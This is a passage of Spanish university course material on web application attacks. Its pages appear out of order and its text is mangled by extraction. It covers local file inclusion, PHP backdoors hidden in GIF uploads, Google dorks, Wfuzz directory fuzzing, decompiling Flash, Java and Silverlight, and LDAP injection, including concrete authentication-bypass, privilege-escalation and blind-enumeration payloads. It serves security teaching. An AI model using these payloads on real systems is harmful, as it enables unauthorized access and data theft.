(4)Una ruta directa es la que inclu-ye todo el nombre del fichero
CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web
Repair se almacena una copia del fichero SAM para poder recuperarla en
caso de error del sistema
bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero
vulnerable mediante el fallo de local file inclusion para poder aprender de
los problemas de otros
Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en
montar el servidor con el miacutenimo privilegio posible limitando la posibilidad
de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-
gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios
de la aplicacioacuten
Figura 44 Ejemplo de local file inclusion
Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-
larlo mediante permisos en el servidor hay que tener en cuenta que las rutas
a ficheros se pueden escribir de dos maneras
bull Directa Escribimos la ruta donde se encuentra el fichero directamente
Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados
por los usuarios
bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores
mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes
de lo anterior los puntos
43 Webtrojans
Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente
complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos
en PDF ficheros de viacutedeo etc
Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos
enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un
fichero con una imagen es necesario comprobar que lo que recibimos es real-
mente una imagen y no otro tipo de fichero
CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web
Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando
en nuestro servidor un fichero malintencionado conocido como webtrojan5
Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-
quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen
desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo
dentro de otros ficheros
El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras
una cabecera de una imagen donde algunos servidores son capaces de ejecutar
el coacutedigo
Figura 45 Webtrojan oculto dentro de un fichero GIF
En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor
de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para
subir cualquier tipo de fichero
Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-
tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo
que nosotros hemos permitido Una buena praacutectica es la de establecer noso-
tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben
evitando que alguien pueda subir un fichero y establecerlo con extensiones
como ASP o PHP
(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad
CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web
5 Google Hacking
Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas
privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea
accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general
los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus
propietarios saben que se encuentra ahiacute
Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la
informacioacuten que nos interesa es muy importante permitieacutendonos recopilar
mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio
ninguna peticioacuten al servidor en cuestioacuten
Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-
mos realizar y que combinados unos con otros alcanzan una potencia mucho
mayor
bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia
obligatoria de esta palabra en las paacuteginas devueltas
bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye
todos los resultados que contengan esa palabra
bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas
completas de texto dentro de los resultados
bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-
quier palabra dentro de una frase entrecomillada
bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina
bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina
bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas
bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-
cada
bull domainltdominiogt Limita los resultados al dominio especificado Se
puede usar solo el identificador del paiacutes (como es)
Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier
cosa que esteacute en Internet
CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web
Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web
Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado
Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido
en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-
dor OR y un filtro que incluyera todos los resultados como se puede ver en la
siguiente imagen (|(uid=kurt)(uid=))
Figura 18 Todos los usuarios
Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento
sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))
CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web
Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro
Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado
el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba
ADAM
213 Conclusiones
Tras realizar estas pruebas podemos extraer las siguientes conclusiones
bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje
contra ADAM u OpenLDAP es necesario que el filtro original es decir el
del programador tenga un operador OR o AND A partir de este punto se
pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten
o realizar ataques blind es decir a ciegas
bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente
anidada en un uacutenico par de pareacutentesis general o bien que el componente
permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha
del filtro
bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust
puede ser vista de dos formas diferentes una primera en la que seriacutea vista
como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-
mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro
mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-
tariacuteamos hablando de un comportamiento particular de algunos motores
LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con
un segundo filtro con un operador el operador OR innecesario
CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web
A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP
que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten
siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-
jection y Blind LDAP Injection
214 ldquoORrdquo LDAP Injection
En este entorno nos encontrariacuteamos con que el programador ha creado una
consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados
al usuario
(|(atributo1=valor1)(atributo2=valor2))
Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-
table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-
dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea
ldquoGroupsrdquo Al ejecutarla obtenemos
Figura 20 Consulta OR sin inyeccioacuten
Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-
driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-
nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-
dena void)(uid=))(|(uid=
CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web
Figura 21 Lista de usuarios obtenida tras la inyeccioacuten
Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|
(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-
ta de todos los usuarios del aacuterbol LDAP
Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en
este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente
tipo
(|(type=outputDevices)(type=printer))
Figura 22 Listado de impresoras y dispositivos de salida
Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea
modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo
CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web
(|(type=outputDevices)(type=printer)(uid=))(|(type=void))
Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los
usuarios como se puede ver en la figura 23
Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection
215 ldquoANDrdquo LDAP Injection
En el caso de inyecciones en consultas LDAP que lleven el operador AND el
atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido
pero se pueden utilizar las inyecciones para mediatizar los resultados y por
ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con
una consulta del siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Supongamos un entorno en el que se muestra la lista de todos los documentos
a los que un usuario con pocos privilegios tiene acceso mediante una consulta
que incluye el directorio de documentos en un paraacutemetro inyectable Es decir
la consulta original es
(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))
Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder
acceder a los documentos de nivel de seguridad alto
(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))
Para conseguir este resultado se habraacute inyectado en el nombre del directorio
la siguiente cadena
almacen)(nivel_seguridad=alto))(|(directorio=almacen
CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web
Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer
lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando
una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza
una consulta LDAP del tipo
(amp(uid=valor_de_user)(password=valor_de_password)
El atacante inyectando la cadena slisberger)(amp)) en el valor del USER
obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger
y por lo tanto conseguiriacutea el acceso a la aplicacioacuten
Figura 24 Acceso no autorizado mediante AND LDAP Injection
Y como se puede ver en la figura 25 el usuario consigue acceso al directorio
privado del usuario slisberger En este caso se ha utilizado el filtro (amp)
que es el equivalente al valor TRUE en los filtros LDAP
Figura 25 Directorio home del usuario
Como se puede ver en este caso el usuario ha accedido con privilegios de nivel
bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio
de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se
puede ver en la figura 26
CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web
Figura 26 Listado de documentos de nivel bajo
La consulta que se estaacute ejecutando es
(amp(directory=nombre_directorio)(level=low))
El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del
servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio
el siguiente comando Documents)(level=High) De esta forma el coman-
do que se ejecutariacutea seriacutea
(amp(directory=Documents)(level=High))(level=low))
Permitiendo al atacante acceder a todos los documentos Se ha producido una
elevacioacuten de privilegios
CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web
Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection
22 Blind LDAP Injection
Una de las evoluciones de las inyecciones de comandos son las acciones a
ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques
Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no
se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer
informacioacuten de un aacuterbol LDAP
El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que
cumple dos caracteriacutesticas
bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada
al aacuterbol LDAP
bull El uso de los resultados produce cambios en la respuesta http que el cliente
recibe
Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer
informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-
vando los cambios en las respuestas http
CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web
221 Blind LDAP Injection en un entorno ldquoANDrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND
tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el
atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo
que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos
aplicarle un valor que sea true es decir que siempre seleccione objetos para
tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que
tambieacuten nos garantice que sea true
Supongamos la siguiente consulta LDAP
(amp(objectClass=Impresoras)(impresoraTipo=Epson))
Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson
de tal manera que el programador si recibe alguacuten objeto simplemente pinta
en la paacutegina web un icono de una impresora Epson
Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el
icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y
como hemos dicho realizando una inyeccioacuten del siguiente tipo
(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante
Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado
en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-
mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP
222 Reconocimiento de clases de objetos de un aacuterbol LDAP
Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-
mos centrarnos en el segundo filtro realizando un recorrido de la siguiente
forma
(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web
De tal manera que todas aquellas inyecciones que devolvieran el icono de la
impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean
la existencia de ese tipo de objetos
Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-
beto de posibles valores utilizando una buacutesqueda con comodines para ello
realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de
la siguiente forma
(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran
dado una respuesta positiva
(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))
Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos
llegar a saber el nombre de todos los objetcClass de un sistema
Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)
Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido
para cualquier atributo que un objeto compartiera con el atributo fijo Una
vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-
CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web
rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los
nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido
con la siguiente inyeccioacuten
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-
